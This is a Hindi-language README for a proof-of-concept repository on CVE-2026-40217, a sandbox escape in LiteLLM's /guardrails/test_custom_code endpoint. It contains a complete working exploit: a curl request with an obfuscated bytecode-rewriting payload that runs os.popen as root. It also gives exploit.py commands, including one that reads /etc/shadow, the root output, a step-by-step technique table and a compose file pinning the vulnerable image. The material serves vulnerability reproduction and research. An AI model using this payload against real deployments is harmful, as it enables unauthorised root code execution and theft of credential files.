
संबंधित कमजोरी को व्यक्तिगत रूप से पुनरुत्पादित करने का कोड
LiteLLM
POST /guardrails/test_custom_code— सैंडबॉक्स एस्केप जो डिफ़ॉल्ट Docker डिप्लॉयमेंट में रूट के रूप में रिमोट कोड एक्जीक्यूशन (RCE) की ओर ले जाता है।
| क्षेत्र | मूल्य |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (डायनामिक रूप से प्रबंधित कोड संसाधनों का अनुचित नियंत्रण) / CWE-94 |
| प्रभावित | LiteLLM ≤ 2026-04-08 (v1.83.11 से पूर्व) |
| समाधान | v1.83.11+ (हैंड-रोल्ड सैंडबॉक्स को RestrictedPython से बदल दिया गया) |
| खोजकर्ता | Markus Vervier — X41 D-Sec GmbH |
| प्रकाशित | 2026-04-08 |
| लिंक | X41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security |
POST /guardrails/test_custom_code एंडपॉइंट LiteLLM में प्रमाणित उपयोगकर्ताओं को गार्डरेल परीक्षण के लिए मनमाना Python कोड सबमिट करने की अनुमति देता है। यह एंडपॉइंट रेगेक्स-आधारित स्रोत कोड फ़िल्टरिंग का उपयोग करके खतरनाक क्रियाओं को प्रतिबंधित करने का प्रयास करता है, लेकिन इसे CPython बाइटकोड पुनर्लेखन तकनीकों का उपयोग करके पूरी तरह से दरकिनार किया जा सकता है, जिसके परिणामस्वरूप प्रॉक्सी प्रक्रिया में मनमाना कोड निष्पादन होता है। डिफ़ॉल्ट Docker इमेज में, प्रॉक्सी रूट के रूप में चलती है, जो प्रभाव को और बढ़ा देता है।
# Python निर्भरताएँ स्थापित करें (exploit.py के लिए आवश्यक)
pip install -r requirements.txt
⚠️ महत्वपूर्ण:
docker-compose.ymlसंवेदनशील इमेज को 22 मार्च 2026 के एक विशिष्ट डाइजेस्ट (sha256:7c311546...) पर पिन करता है। टैग कोmain-latestया किसी नए संस्करण में न बदलें — बाद की इमेज में पहले से ही फिक्स (RestrictedPython) हो सकता है, भले ही संस्करण संख्या अन्यथा सुझाव दे (जैसे,v1.83.10-stableको पैच के बाद पुनर्निर्मित किया गया था और यह संवेदनशील नहीं है)।
# 1. निर्भरताएँ स्थापित करें (यदि पहले से नहीं की गई हैं)
pip install -r requirements.txt
# 2. एक संवेदनशील LiteLLM इंस्टेंस शुरू करें
docker compose up -d
# 3. एक्सप्लॉइट चलाएँ
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. संवेदनशील फ़ाइलें पढ़ें (--cmd आर्गुमेंट बदलें)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# या सीधे curl का उपयोग करके
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
| चरण | तकनीक | कोड |
|---|---|---|
| 1 | स्ट्रिंग संयोजन द्वारा रेगेक्स उपाय | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | str.mro()[1] के माध्यम से object वर्ग प्राप्त करें | obj = str.mro()[1] |
| 3 | gi_code के माध्यम से जनरेटर कोड ऑब्जेक्ट तक पहुँचें | c = g(None).gi_code |
| 4 | object.__setattr__ के माध्यम से फ़ंक्शन __code__ बदलें | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | http_get.__globals__ से वास्तविक बिल्ट-इन निकालें | imp = gd["__builtins__"]["__import__"] |
| 6 | os.popen के माध्यम से RCE प्राप्त करें | imp("os").popen("id").read() |
CVE-2026-40217/
├── README.md # यह फ़ाइल
├── docker-compose.yml # एक-कमांड संवेदनशील वातावरण
├── requirements.txt # निर्भरताएँ
├── exploit/
│ ├── exploit.py # पूर्ण एक्सप्लॉइट स्क्रिप्ट
│ └── payload.py # बाइटकोड पेलोड मॉड्यूल
├── docs/
│ └── advisory.md # अनुवादित सलाह विवरण
└── screenshots/ # प्रमाण स्क्रीनशॉट
RestrictedPython का उपयोग करता है)/guardrails/test_custom_code को अपने रिवर्स प्रॉक्सी / API गेटवे परdocker run --user 1000:1000 ...अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।